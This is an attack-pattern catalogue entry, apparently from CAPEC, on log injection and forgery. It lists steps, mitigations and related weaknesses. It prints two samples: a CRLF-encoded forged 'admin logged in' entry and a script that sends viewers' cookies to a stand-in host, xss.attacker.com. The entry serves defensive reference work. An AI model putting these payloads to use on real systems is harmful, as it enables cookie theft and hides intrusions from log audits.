| Name |
Log Injection-Tampering-Forging |
|
| Likelyhood of attack |
Typical severity |
| High |
High |
|
| Summary |
This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability. |
| Prerequisites |
The target host is logging the action and data of the user. The target host insufficiently protects access to the logs or logging mechanisms. |
| Execution Flow |
| Step |
Phase |
Description |
Techniques |
| 1 |
Explore |
[Determine Application's Log File Format] The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system. |
- Determine logging utility being used by application (e.g. log4j)
- Gain access to application's source code to determine log file formats.
- Install or obtain access to instance of application and observe its log file format.
|
| 2 |
Exploit |
[Manipulate Log Files] The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack. |
-
Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example:
"%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in"
may add the following forged entry into a log file:
"[Thu Nov 12 12:11:22]:Info: User admin logged in"
Different applications may require different encodings of the carriage return and line feed characters.
-
Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain
<script>new Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);</script>
The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).
|
|
| Solutions | Carefully control access to physical log files. Do not allow tainted data to be written in the log file without prior input validation. An allowlist may be used to properly validate the data. Use synchronization to control the flow of execution. Use static analysis tools to identify log forging vulnerabilities. Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells. |
| Related Weaknesses |
|
CWE ID
|
Description
|
| CWE-75 |
Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) |
| CWE-117 |
Improper Output Neutralization for Logs |
| CWE-150 |
Improper Neutralization of Escape, Meta, or Control Sequences |
| CWE-713 |
OWASP Top Ten 2007 Category A2 - Injection Flaws |
|
| Related CAPECS |
|
CAPEC ID
|
Description
|
| CAPEC-268 |
The attacker injects, manipulates, deletes, or forges malicious log entries into the log file, in an attempt to mislead an audit of the log file or cover tracks of an attack. Due to either insufficient access controls of the log files or the logging mechanism, the attacker is able to perform such actions. |
| CAPEC-592 |
This type of attack is a form of Cross-site Scripting (XSS) where a malicious script is persistenly "stored" within the data storage of a vulnerable web application. Initially presented by an adversary to the vulnerable web application, the malicious script is incorrectly considered valid input and is not properly encoded by the web application. A victim is then convinced to use the web application in a way that creates a response that includes the malicious script. This response is subsequently sent to the victim and the malicious script is executed by the victim's browser. To launch a successful Stored XSS attack, an adversary looks for places where stored input data is used in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (<img>), or the addition of event attibutes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines. |
|
| Taxonomy: ATTACK |
|
Entry ID
|
Entry Name
|
| 1070 |
Indicator Removal on Host |
|